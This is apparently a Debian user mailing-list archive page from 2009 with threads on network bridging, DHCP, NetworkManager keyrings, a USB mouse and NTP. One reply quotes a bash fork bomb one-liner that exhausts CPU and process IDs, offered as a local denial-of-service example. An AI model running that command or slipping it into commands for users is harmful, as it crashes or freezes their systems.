with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: build bridge with DHCP

2009-10-27 Thread Boyd Stephen Smith Jr.
On Tuesday 27 October 2009 13:32:41 green wrote:
> Boyd Stephen Smith Jr. wrote at 2009-10-27 11:46 -0500:
> > Bridging (i.e. brctl and friends) can only be used to connect two
> > networks that use the same layer 2 protocol.  Ethernet and 802.11a/b/g do
> > not use the same layer 2 protocol.  I believe at the very least you'll
> > need to use an "ARP Proxy", and you may be better off just routing
> > traffic.
>
> So, is it possible in any way (preferably simple) for systemB to send a
> dhcp request and get a response from the AP?  I have dnsmasq running on
> systemA, so I can set it up to do something.  Do I need a "dhcp forwarder"
> of some sort?

I don't know if dnsmasq can, but there is support for dhcp forwarding in the 
dhcp specification, and dhcpd can be configured as a forwarder.  FWIW, I would 
think dnsmasq could be set up as a forwarder as well.
-- 
Boyd Stephen Smith Jr.   ,= ,-_-. =.
b...@iguanasuicide.net  ((_/)o o(\_))
ICQ: 514984 YM/AIM: DaTwinkDaddy `-'(. .)`-'
http://iguanasuicide.net/\_/



signature.asc
Description: This is a digitally signed message part.


Re: build bridge with DHCP

2009-10-27 Thread green
Boyd Stephen Smith Jr. wrote at 2009-10-27 11:46 -0500:
> On Tuesday 27 October 2009 11:05:12 green wrote:
> > Hey all, I need a bridge for the following scenario:
> >
> > [systemB] eth0 <--> eth0 [systemA] wlan0 <--> wlan0 [AP]
> >
> > I am working on systemA, which normally sends dhcp requests answered by the
> > AP. I want to add systemB to that network.  When it sends dhcp requests
> > over eth0, the AP should answer.
> 
> Bridging (i.e. brctl and friends) can only be used to connect two networks 
> that use the same layer 2 protocol.  Ethernet and 802.11a/b/g do not use the 
> same layer 2 protocol.  I believe at the very least you'll need to use an 
> "ARP 
> Proxy", and you may be better off just routing traffic.

So, is it possible in any way (preferably simple) for systemB to send a dhcp 
request and get a response from the AP?  I have dnsmasq running on systemA, so 
I can set it up to do something.  Do I need a "dhcp forwarder" of some sort?


signature.asc
Description: Digital signature


Re: Network Manager wants to access default keyring

2009-10-27 Thread Michael Biebl
Preston Boyington wrote:
> On Mon, Oct 26, 2009 at 6:00 PM, Michael Biebl  wrote:

>> Mark the connection as system connection in nm-connection-editor ("Available 
>> to
>> all users"). This way the key is stored system wide (in
>> /etc/NetworkManager/system-connections/). That's basically what wicd does.
> 
> for whatever reason after I check the box (Available to all users) it
> doesn't seem to "stick".

If you check the box, the "Apply" button should change its icon and have a
keyring on it. Then pressing Apply should pop up an authentication dialog,
asking you for the root password. Do you get such a dialog?

For further discussion, I guess we should take this off list.

Michael

-- 
Why is it that all of the instruments seeking intelligent life in the
universe are pointed away from Earth?



signature.asc
Description: OpenPGP digital signature


Re: Optical Dell Mouse - seems standard doesn't work on xorg

2009-10-27 Thread Thomas Douillard
2009/10/27 Aioanei Rares 

> Thomas Douillard wrote:
>
>>
>> 2009/10/27 Aioanei Rares > debian.dev.l...@gmail.com>>
>>
>>Thomas Douillard wrote:
>>
>>2009/10/27 Aioanei Rares >
>>>>>
>>
>>   Thomas Douillard wrote:
>>
>>   Seems not to, and nothing happens if I "cat
>>/dev/input/mice"
>>   and move the mouse. It is a usb mouse.
>>
>>   I tried "gpm -m /dev/input/mice".
>>   2009/10/27 Aioanei Rares >
>>   >>
>>   >
>>   >>
>>
>>  Thomas Douillard wrote:
>>
>>  Hi, I've got a problem since an upgrade (I don't
>>kwon since
>>  when unfortunately), my standard optical wheel
>>mouse don't
>>  work anymore on X, on an debian SID
>>
>>  I don't know who I must blame (hal, udev, the
>>kernel, xorg
>>  ...) so I can't post a bugreport on the good
>>package. I'll
>>  attach some logfiles, if anyone can help me or
>>suggest
>>   a way
>>  to proceed ...
>>
>>  I also filed a udevadm test, if it can help ...
>>
>>  --
>>  Thomas
>>
>>  Thomas, does it work in console if you enable gpm?
>>
>>
>>   Just to be sure, did you try to plug it in another USB
>>port? And
>>   when I said console, I meant enable gpm to start at boot,
>>reboot,
>>   press alt+ctrl+Fx and see if it moves.
>>
>>
>>Yep, I did.
>>
>>I also purged and reinstalled gpm, rebooted, checked the mouse
>>in console, just to be sure also, it did not worked as
>>expected (since cat /dev/input/mice don't do anything, and it
>>is the device used by gpm by default)
>>
>>I can add that I'm quite sure it is related to the model of
>>the mouse : I tried with an identical mouse, it did'nt work,
>>with a microsoft one therer was no problems.
>>
>>It may be related with a similar issue on ubuntu :
>>https://bugs.launchpad.net/ubuntu/+source/linux/+bug/378818
>>but may not : in this issue the keyboard (same model as me I
>>think) did not work also, while mine works. The workaround I
>>found on his computer to solve the problem on his computer did
>>not work on mine : I added a mouse and keyboard section as old
>>times in the xorg.conf file.
>>
>>Thomas
>>
>>Well, it's not only a Xorg problem as long as you see it in the
>>console. AFAICS from the Ubuntu bug, looks like a kernel problem,
>>but since their kernel is different from ours, you might wanna try
>>an (preferably older) kernel and if that works, report a bug.
>>
>>
>> I tried that just after the upgrade, and the symptoms where the same with
>> the pre-upgrade kernel version at the time, so I suspect it's not really a
>> kernel problem ... plus the dmeg's correctly recognize a HID device, as the
>> dmesg attatched to my first mail shows ... I suspect bug in udev rules or a
>> bug in hal, but since I don't really know how all this work ... I may post a
>> bug in the udev package for a start ...
>>
>> PS : I forgot to reply to the list, I copy paste the discussion, sorry for
>> that ...
>>
> Would you please post the exact kernel versions you are using?
>


Re: build bridge with DHCP

2009-10-27 Thread green
Král Gergely wrote at 2009-10-27 11:34 -0500:
> On Tue, 2009-10-27 at 11:05 -0500, green wrote:
> > Hey all, I need a bridge for the following scenario:
> > 
> > [systemB] eth0 <--> eth0 [systemA] wlan0 <--> wlan0 [AP]
> > 
> > I am working on systemA, which normally sends dhcp requests answered by the 
> > AP.  
> > I want to add systemB to that network.  When it sends dhcp requests over 
> > eth0, 
> > the AP should answer.
> 
> There was a time when I played with something similar, I used tcpdump
> (even on bridged interfaces) to see where the packets disappear.
> 
> As I remember I needed
> 
> echo 1 > /proc/sys/net/ipv4/ip_forward
> 
> on [SystemA].

That was already on.

> I also used packet filtering, so I needed the rule:
> 
> $IPTABLES -A FORWARD -i br0 -o br0 -j ACCEPT

I am not filtering anything; iptables rules are empty.


signature.asc
Description: Digital signature


Re: Local DoS in kernel 2.6.26

2009-10-27 Thread Celejar
On Tue, 27 Oct 2009 09:33:15 -0500
"Boyd Stephen Smith Jr."  wrote:

...

> (:(){:&:;};:) at a shell prompt should peg all your CPUs and run you
> out of process ids.

For more information on fork bombs, including an annotated one closely
resembling Boyd's, see:

http://en.wikipedia.org/wiki/Fork_bomb

Celejar
-- 
mailmin.sourceforge.net - remote access via secure (OpenPGP) email
ssuds.sourceforge.net - A Simple Sudoku Solver and Generator


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Inquiry:External USB modem and Remote PC Access?

2009-10-27 Thread Celejar
On Tue, 27 Oct 2009 14:17:28 +0200
Micha Feigin  wrote:

> If it's supposed to answer the phone, I think that there is a getty
> app that does that, never did it and I'm not sure how many people did
> in the last sever years.

I used to use mgetty to answer the phone and accept logins.  Although
that was indeed several years ago, I'm pretty sure that it will still
work ...

Celejar
-- 
mailmin.sourceforge.net - remote access via secure (OpenPGP) email
ssuds.sourceforge.net - A Simple Sudoku Solver and Generator


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: google chrome extensions

2009-10-27 Thread S. Fishpaste
On Mon, 26 Oct 2009 19:30:57 -0400, Bogdan in gmane.linux.debian.user wrote:
> Hey,
>
> Has anyone managed to get the extensions going for the latest chromium 
> build ( 4.0.223.11)?
> They seem to install fine  but they do not work, and also, are not 
> getting listed when "about://extensions/".
> I'm running Debian Unstable/KDE 4.3

I'm running the same version; What extensions are you having the problem
with? I have XMarks, ADBLOCK+, FlashBlock and GMail default client working OK.

Some extensions haven't been updated; Maybe that's the problem?


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Network Manager wants to access default keyring

2009-10-27 Thread Preston Boyington
Michael Biebl wrote:


> As already said, setting gdm to autologin will of course not work. you 
> actually
> have to type your password once.
> If you are using autologin, you might just as well use a blank password for 
> your
> gnome-keyring (not that i recommend that).
> 

hmm, haven't thought about a blank password, but then i would need to
take the user out of the 'sudo' group.  no, i think i will just disable
autologin.

oh, i installed with the 'Desktop Environment' and have policykit
installed also.

man if wicd supported the broadband wireless card...
-- 

Arrant Drivel - really, it's just trash...
http://www.arrantdrivel.com/

Where the road takes me - a highwayman's perspective
http://www.prestonboyington.com/


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



dnsmasq problem: nokia cell phone does not accept dhcp offer

2009-10-27 Thread H.S.
Hello,

I am trying to connect a nokia cell phone to my home wifi network. The
same phone has reportedly worked properly on another home wifi network
which has a Belkin wireless router. The phone is set to acquire an IP
address automatically, i.e. via dhcp.

BTW, my home wifi network is provided by a wireless card in a machine
running Debian Testing and 2.6.26-2-686 kernel.

The wireless is network provided by hostapd using madwifi driver.
Windows and Mac machines work properly with this wifi network (at least
no big problems noted, certainly not in Windows clients).

When I try to get the Nokia phone to connect to the wifi network, I get
these lines in my dnsmasq log (to see lines without wrapping, here is
the pastebin link for convenience - http://pastebin.com/m466c8fd2):
---
Oct 27 13:25:21 red hostapd: ath0: STA 11:22:33:44:55:66 IEEE 802.11:
disassociated
Oct 27 13:25:21 red hostapd: ath0: STA 11:22:33:44:55:66 IEEE 802.11:
associated
Oct 27 13:25:21 red hostapd: ath0: STA 11:22:33:44:55:66 RADIUS:
starting accounting session 4AE664FA-0036
Oct 27 13:25:21 red hostapd: ath0: STA 11:22:33:44:55:66 WPA: pairwise
key handshake completed (WPA)
Oct 27 13:25:21 red hostapd: ath0: STA 11:22:33:44:55:66 WPA: group key
handshake completed (WPA)
Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 Available DHCP
range: 192.168.5.150 -- 192.168.5.199
Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 DHCPDISCOVER(ath0)
0.0.0.0 11:22:33:44:55:66
Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 DHCPOFFER(ath0)
192.168.5.21 11:22:33:44:55:66
Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 requested options:
12:hostname, 6:dns-server, 15:domain-name,
Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 requested options:
1:netmask, 3:router, 28:broadcast, 120:sip-server
Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 tags: known, ath0

Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 next server:
192.168.5.1
Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 sent size:  1
option: 53:message-type  02
Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 sent size:  4
option: 54:server-identifier  192.168.5.1
Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 sent size:  4
option: 51:lease-time  00:00:46:50
Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 sent size:  4
option: 58:T1  00:00:23:28
Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 sent size:  4
option: 59:T2  00:00:3d:86
Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 sent size:  4
option:  1:netmask  255.255.255.0
Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 sent size:  4
option: 28:broadcast  192.168.5.255
Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 sent size:  4
option:  3:router  192.168.5.1
Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 sent size:  4
option:  6:dns-server  192.168.5.1
Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 sent size:  8
option: 15:domain-name  home.pvt
Oct 27 13:25:21 red dnsmasq-dhcp[11451]: 3875439214 sent size:  3
option: 12:hostname  NokiaCellPhone
---

Anybody know the problem might be?

If I switch off dnsmasq dhcp queries logging, all I see are two lines of
DHCPDISCOVER(ath0) and DHCPOFFER(ath0) repeatedly in the log with no
acceptance by the cell phone.

It appears as though the phone is not accepting the dhcp offer.

However, if I give the phone a static IP address in its configuration,
it works properly on the wifi network. So it appears as though the
problem is dhcp related.

Hints? Suggestions?

Installed stuff:
$> dpkg -l *dnsmasq* hostap* | grep ^i
ii  dnsmasq   2.50-1  A small caching DNS proxy and DHCP/TFTP server
ii  dnsmasq-base  2.50-1  A small caching DNS proxy and DHCP/TFTP server
ii  hostapd   1:0.6.9-3  user space IEEE 802.11 AP and IEEE 802.1X/WPA/

Thanks.


-- 

Please reply to this list only. I read this list on its corresponding
newsgroup on gmane.org. Replies sent to my email address are just
filtered to a folder in my mailbox and get periodically deleted without
ever having been read.


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: NTP Server

2009-10-27 Thread Roman Gelfand
I, actually, replaced my ntp.conf with the basic suggested
configuration from www.pool.ntp.org and the time is perfect now.

Thanks


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Network Manager wants to access default keyring

2009-10-27 Thread Michael Biebl
Preston Boyington wrote:
> (commented in-line)
> 
> On Mon, Oct 26, 2009 at 6:00 PM, Michael Biebl  wrote:
> 
>> You are using Debian testing, so I guess you use NM 0.7.
> 
> specifically 0.7.1-1
> 
>> If so, you have two options:
>>
>> Mark the connection as system connection in nm-connection-editor ("Available 
>> to
>> all users"). This way the key is stored system wide (in
>> /etc/NetworkManager/system-connections/). That's basically what wicd does.
> 
> for whatever reason after I check the box (Available to all users) it
> doesn't seem to "stick".

You most likely didn't install the policykit and policykit-gnome package (which
is a recommends of network-manager-gnome)

>> The other option is, to use libpam-gnome-keyring. Set your keyring password 
>> the
>> same as your login password, and on login your gnome-keyring will 
>> automatically
>> be unlocked.
> 
> I've re-created my keyring and made sure that the libpam files are
> installed.  Still the same message.
> 
> After rebooting I took a more careful look at the message:
> "The application 'NetworkManager Applet' (/usr/bin/nm-applet) wants to
> access the default keyring, but it is locked"
> 
> so is it actually talking about the little applet running in the
> taskbar not having permission?  what's the workaround for this...
> other than typing the password each time.

As already said, setting gdm to autologin will of course not work. you actually
have to type your password once.
If you are using autologin, you might just as well use a blank password for your
gnome-keyring (not that i recommend that).

Michael


-- 
Why is it that all of the instruments seeking intelligent life in the
universe are pointed away from Earth?



signature.asc
Description: OpenPGP digital signature


Re: NTP Server

2009-10-27 Thread Johannes Wiedersich
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Roman Gelfand wrote:
> I am running ntp server.  I suppose I need to tell ntp server the
> authoritative time server to synchronize with.  How would I do that?

Debian's defaults work out of the box for me.
What's your output of 'ntpq -p'

- --
Johannes

Three nations have not officially adopted the International System
of Units as their primary or sole system of measurement: Burma,
Liberia, and the United States.

http://en.wikipedia.org/wiki/Si_units
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkrnKHQACgkQC1NzPRl9qEV+OgCfUGHEnHd/LPLJxJA+gq5817PM
bu0AniNXWb+Eb5R8JqSkmBIvk+CvY5oq
=wgTH
-END PGP SIGNATURE-


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Wondering about doing something strange with networking

2009-10-27 Thread Nick Lidakis
On Tue, Oct 27, 2009 at 07:58:18AM +, Alan Chandler wrote:
> I am contemplating the possibilities with the plug computer, as an 
> always on, router/firewall/web server for my house.

Are you referring to the Sheeva plug computer?  


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Вопрос по Книгам?

2009-10-27 Thread Roland Müller
Здравствуйте!


> 
>  Original-Nachricht 
> Datum: Mon, 14 Sep 2009 20:11:34 +0400
> Von: Ivan Ryavkin 
> An: debian-user@lists.debian.org
> Betreff: Вопрос по Книгам?
> 
> Есть книги о Debian на разных языках 
> у меня вопрос планируется или нет выход 
> на руссском, а может уже есть?
> 
this is BTW a list in Englisch :-)
To your question: May be there is more information about books about Debian 
in Russian behind the following links.

http://www.ru.debian.org/index.ru.html
http://www.ru.debian.org/doc/books.ru.html

In latter you can find the address of a mailing list in Russian:

-  debian-l10n-russ...@lists.debian.org
С уважением,
Roland Müller

> 
> 
> -- 
> To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
> with a subject of "unsubscribe". Trouble? Contact 
> listmas...@lists.debian.org
> 

-- 
Jetzt kostenlos herunterladen: Internet Explorer 8 und Mozilla Firefox 3.5 -
sicherer, schneller und einfacher! http://portal.gmx.net/de/go/atbrowser


Re: Optical Dell Mouse - seems standard doesn't work on xorg

2009-10-27 Thread Aioanei Rares

Thomas Douillard wrote:


2009/10/27 Aioanei Rares >


Thomas Douillard wrote:

 
2009/10/27 Aioanei Rares 

>>

   Thomas Douillard wrote:

   Seems not to, and nothing happens if I "cat
/dev/input/mice"
   and move the mouse. It is a usb mouse.

   I tried "gpm -m /dev/input/mice".
   2009/10/27 Aioanei Rares mailto:debian.dev.l...@gmail.com>
   >
   
   

Re: build bridge with DHCP

2009-10-27 Thread Boyd Stephen Smith Jr.
On Tuesday 27 October 2009 11:05:12 green wrote:
> Hey all, I need a bridge for the following scenario:
>
> [systemB] eth0 <--> eth0 [systemA] wlan0 <--> wlan0 [AP]
>
> I am working on systemA, which normally sends dhcp requests answered by the
> AP. I want to add systemB to that network.  When it sends dhcp requests
> over eth0, the AP should answer.

Bridging (i.e. brctl and friends) can only be used to connect two networks 
that use the same layer 2 protocol.  Ethernet and 802.11a/b/g do not use the 
same layer 2 protocol.  I believe at the very least you'll need to use an "ARP 
Proxy", and you may be better off just routing traffic.

I *think* we have the reverse working: [laptops] <-> wlan0 [OpenWRT AP] eth0 
<-> [AT&T Router], but I didn't set that up, so we might be having the AP run 
a dhcp daemon and route traffic.
-- 
Boyd Stephen Smith Jr.   ,= ,-_-. =.
b...@iguanasuicide.net  ((_/)o o(\_))
ICQ: 514984 YM/AIM: DaTwinkDaddy `-'(. .)`-'
http://iguanasuicide.net/\_/



signature.asc
Description: This is a digitally signed message part.


Re: build bridge with DHCP

2009-10-27 Thread Král Gergely
On Tue, 2009-10-27 at 11:05 -0500, green wrote:
> Hey all, I need a bridge for the following scenario:
> 
> [systemB] eth0 <--> eth0 [systemA] wlan0 <--> wlan0 [AP]
> 
> I am working on systemA, which normally sends dhcp requests answered by the 
> AP.  
> I want to add systemB to that network.  When it sends dhcp requests over 
> eth0, 
> the AP should answer.

There was a time when I played with something similar, I used tcpdump
(even on bridged interfaces) to see where the packets disappear.

As I remember I needed

echo 1 > /proc/sys/net/ipv4/ip_forward

on [SystemA]. I also used packet filtering, so I needed the rule:

$IPTABLES -A FORWARD -i br0 -o br0 -j ACCEPT


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Optical Dell Mouse - seems standard doesn't work on xorg

2009-10-27 Thread Thomas Douillard
2009/10/27 Aioanei Rares 

> Thomas Douillard wrote:
>
>>
>> 2009/10/27 Aioanei Rares > debian.dev.l...@gmail.com>>
>>
>>Thomas Douillard wrote:
>>
>>Seems not to, and nothing happens if I "cat /dev/input/mice"
>>and move the mouse. It is a usb mouse.
>>
>>I tried "gpm -m /dev/input/mice".
>>2009/10/27 Aioanei Rares >
>>>>>
>>
>>
>>   Thomas Douillard wrote:
>>
>>   Hi, I've got a problem since an upgrade (I don't kwon since
>>   when unfortunately), my standard optical wheel mouse don't
>>   work anymore on X, on an debian SID
>>
>>   I don't know who I must blame (hal, udev, the kernel, xorg
>>   ...) so I can't post a bugreport on the good package. I'll
>>   attach some logfiles, if anyone can help me or suggest
>>a way
>>   to proceed ...
>>
>>   I also filed a udevadm test, if it can help ...
>>
>>   --
>>   Thomas
>>
>>   Thomas, does it work in console if you enable gpm?
>>
>>
>>Just to be sure, did you try to plug it in another USB port? And
>>when I said console, I meant enable gpm to start at boot, reboot,
>>press alt+ctrl+Fx and see if it moves.
>>
>>
>> Yep, I did.
>>
>> I also purged and reinstalled gpm, rebooted, checked the mouse in console,
>> just to be sure also, it did not worked as expected (since cat
>> /dev/input/mice don't do anything, and it is the device used by gpm by
>> default)
>>
>> I can add that I'm quite sure it is related to the model of the mouse : I
>> tried with an identical mouse, it did'nt work, with a microsoft one therer
>> was no problems.
>>
>> It may be related with a similar issue on ubuntu :
>> https://bugs.launchpad.net/ubuntu/+source/linux/+bug/378818 but may not :
>> in this issue the keyboard (same model as me I think) did not work also,
>> while mine works. The workaround I found on his computer to solve the
>> problem on his computer did not work on mine : I added a mouse and keyboard
>> section as old times in the xorg.conf file.
>>
>> Thomas
>>
> Well, it's not only a Xorg problem as long as you see it in the console.
> AFAICS from the Ubuntu bug, looks like a kernel problem, but since their
> kernel is different from ours, you might wanna try an (preferably older)
> kernel and if that works, report a bug.
>

I tried that just after the upgrade, and the symptoms where the same with
the pre-upgrade kernel version at the time, so I suspect it's not really a
kernel problem ... plus the dmeg's correctly recognize a HID device, as the
dmesg attatched to my first mail shows ... I suspect bug in udev rules or a
bug in hal, but since I don't really know how all this work ... I may post a
bug in the udev package for a start ...

PS : I forgot to reply to the list, I copy paste the discussion, sorry for
that ...


Re: Wondering about doing something strange with networking

2009-10-27 Thread Alan Chandler
On Tuesday 27 Oct 2009, Dan Ritter wrote:
> On Tue, Oct 27, 2009 at 07:58:18AM +, Alan Chandler wrote:
...
> >
> > What I am less certain about is how I can cater for Wireless
> > clients coming in over the WAP, who do really need dhcp allocated
> > addresses.  My guess is that they would be requesting leases via
> > some broadcasting mechanism, and that there is no way for the
> > ethernet switch to prevent them going to the cable modem (and
> > thence to my isp) and the dhcp server at my isp responding.
> >
> Alternatively, hardcode IPs for everything on that switch. You
> can either hardcode IPs for your wireless devices, or run DHCP
> on a separate subnet  there.

I think that is the answer, limit the switch to have the cable modem, 
plug computer and existing cable router on it.  the "lan" side of that 
cable router will be where I connect everything else and can use dhcp 
with confidence there.

I presume nfs (which I have not used before) will still work connecting 
the plug computer as an nfs client throught the router (which is a NAT 
device) to one of the backend servers running a large disk and the nfs 
server end if I port forward correctly. [one particular usage of my 
external web site is to provide access to some large files - I am happy 
for this to fail if I turn off my in home computing environment leaving 
only the plug computer running.



-- 
Alan Chandler
http://www.chandlerfamily.org.uk


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: google chrome extensions

2009-10-27 Thread Frank McCormick
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Tue, 27 Oct 2009 09:16:56 -0600
Hugo Vanwoerkom  wrote:

>  Has anyone managed to get the extensions going for the latest
>  chromium build ( 4.0.223.11)?
>  They seem to install fine  but they do not work, and also, are not 
>  getting listed when "about://extensions/".
> >>>   They are problematic with the latest unstable build...but seem OK
> >>> with the latest developer build.
> >>> This is what I am running now: 
> >>>
> >>>
> >>> Chromium  4.0.224.4 (Developer Build 30026)
> > 
> >http://build.chromium.org/buildbot/snapshots/chromium-rel-linux/
> > 
> > 
> 
> http://code.google.com/p/chromium/wiki/LinuxBuildInstructions
> seem to point to different source. Which is correct?


   The link I gave you is for the compiled version ( in a zip file )...
your links are for the source if you want to compile yourself. I wouldn't
recommend that.
I simply unzip the dl'ed file (it's about 21 megs) into my home directory - 
file roller will
re-create the needed directories. Make sure you run "chrome-wrapper", not 
"chrome".



- -- 
Frank
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.10 (GNU/Linux)

iQEcBAEBAgAGBQJK5xzuAAoJEMEDyLTvrVhj5H4H/jk6YznsOtOZ07HN/8NR4kqw
qRxxgcW7l4j6tENU2y8g/LoLkGLr4ScrYl5bRjb+vGIZQc4eCq4pO/YkfhUpJhTb
l5j/SGzlul+67j/d4TUB77qJrZD8e/klZX9/xRASPSyhdzLBdNskaCqJ4DRhLa4h
WZ5RbOqzYnjVzpkKvNPVP6toduhdbll573qsvpcgkKEDOwu7FxiEUbj3E/Mz36uF
O5FVT5isG0stOtO5l+jSbJyUc9xj5TLLVCeXnV5RpkBqCbWxYqK4HT6mQdrYbnkr
RNLg+tS3aQqbTUwBv8gVX6q98fqfo5Q768FanCwEew8Bkiw1594XRBs6wKt0Kac=
=gwEp
-END PGP SIGNATURE-


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



build bridge with DHCP

2009-10-27 Thread green
Hey all, I need a bridge for the following scenario:

[systemB] eth0 <--> eth0 [systemA] wlan0 <--> wlan0 [AP]

I am working on systemA, which normally sends dhcp requests answered by the AP. 
 
I want to add systemB to that network.  When it sends dhcp requests over eth0, 
the AP should answer.

To accomplish this, I have tried:

-- /etc/network/interfaces
iface br0 inet dhcp
  bridge_ports eth0 wlan0
--

# ifconfig wlan0 up
# iwconfig wlan0 essid myap
# ifconfig eth0 up
# ifup br0

br0 sends a dhcp request which is answered by the AP.  Everything seems to work 
fine on systemA.  But systemB sends dhcp requests and is never answered.  They 
don't seem to be getting through systemA to the AP.

I have also tried, in /etc/network/interfaces file:
  bridge_stp off
  bridge_maxwait 0

and tried:
# brctl setfd br0 0

Any suggestions?  Thanks.


signature.asc
Description: Digital signature


Re: kernel panic when doing mkfs.ext3 on a /dev/md0 (/dev/sdb /dev/sdc)

2009-10-27 Thread Jack Schneider
On Tue, 27 Oct 2009 06:05:01 -0300
Leonardo Ruoso  wrote:

> Hi,
> 
> I have a fresh Debian Lenny Box with three Sata Disks (250GB and 2 X
> 500GB).
> 
> "/" is mounted on the first disk (/dev/sda) outside any raid array.
> 
> The other disks (/dev/sdb and /dev/sdc) have only one raid partition
> each and were used by mdadm to create a software raid array
> (/dev/md0).
> 
> I keep getting Kernel Panic whenever I try mkfs.ext2(3|4):
> mkfs.ext2 /dev/md0.
> 
> I googled it, but most of the kernel panic pages refers to booting
> from a raid array, which is not my case.
> 
> TIA,
> 
> 
> 
> Atenciosamente,
> 
> Leonardo Ruoso (CE1921JP)
> leona...@oktiva.com.br - (85) 8787-0312
> Marketing, Comunicação Social e Tecnologia
> 
> 
> 
> Sent from Fortaleza, CE, Brazil
> 
Hi, Leonardo

What Kernel are you running?  I have not been able to boot 2.6.30-* on
my raided system..   2.6.26-2 boots ok.

See Bug #  #550434 et al

FWIW.   Jack


--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: wicd fails to detect wifi networks

2009-10-27 Thread Liviu Andronic
On 10/27/09, Tim Tebbit  wrote:
> Double check that you have identified what your wireless interface is in
>   wicd's Preferences. By default I believe it is left blank. Also in
>  there, you may have "always show wired interface" selected.
>
Of course! In trying to make wicd work, I removed it together with the
config files. However, by default wired was `eth1' and wireless `'
(blank). Putting `eth1' into wireless solved my problem.

Thank you all for the suggestions
Liviu


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: deadkeys with openoffice

2009-10-27 Thread green
Hugo Vanwoerkom wrote at 2009-10-27 07:32 -0500:
> No matter what I do I cannot get my deadkeys to work in openoffice.
> Anybody have better luck?
> éáñ like these...

It works fine for me, on a mostly Lenny system, in a terminal, in openoffice, 
in iceweasel (soon to be replaced with uzbl)...

I have the following line in ~/.xsession file:
 xmodmap ~/.xmodmaprc

And in ~/.xmodmaprc (! is for comments as according to xmodmap(1)):
 ! Enable compose/deadkeys for special characters
 keycode 113 = Multi_key

And I found that keycode (for my right alt key) using xev(1).


signature.asc
Description: Digital signature


Re: Recommended Debian package for hard disk cloning

2009-10-27 Thread Javier Barroso
On Tue, Oct 27, 2009 at 12:31 PM, Holger Rauch  wrote:
> Hi Javier,
>
> On Mon, 26 Oct 2009, Javier Barroso wrote:
>
>> Hi,
> [...]
>>
>> If you have another machine with disks availables:
>> cat raw devices to other machine throw ssh/nc and vgchange -u and vgrename
>
> thanks a lot for mentioning this hint, but I was talking about the
> senario when both disks are connected to the same machine.
>
> Any recommendations for that?
I think it is not program to do it in debian.

See http://archives.free.net.ph/message/20071122.151843.1d3b9863.en.html

I think I saw a vgclone script, which I can't find now ..

Thanks,


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: google chrome extensions

2009-10-27 Thread Hugo Vanwoerkom

Frank McCormick wrote:

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Tue, 27 Oct 2009 06:30:31 -0600
Hugo Vanwoerkom  wrote:


On Mon, 26 Oct 2009 19:30:57 -0400
Bogdan  wrote:


Hey,

Has anyone managed to get the extensions going for the latest
chromium build ( 4.0.223.11)?
They seem to install fine  but they do not work, and also, are not 
getting listed when "about://extensions/".

  They are problematic with the latest unstable build...but seem OK
with the latest developer build.
This is what I am running now: 



Chromium4.0.224.4 (Developer Build 30026)
WebKit  532.3
V8  1.3.16.1

Where does one get that?




   http://build.chromium.org/buildbot/snapshots/chromium-rel-linux/




Thanks, Frank.
These:
http://code.google.com/p/chromium/wiki/LinuxBuildInstructions
seem to point to different source. Which is correct?

Hugo


--
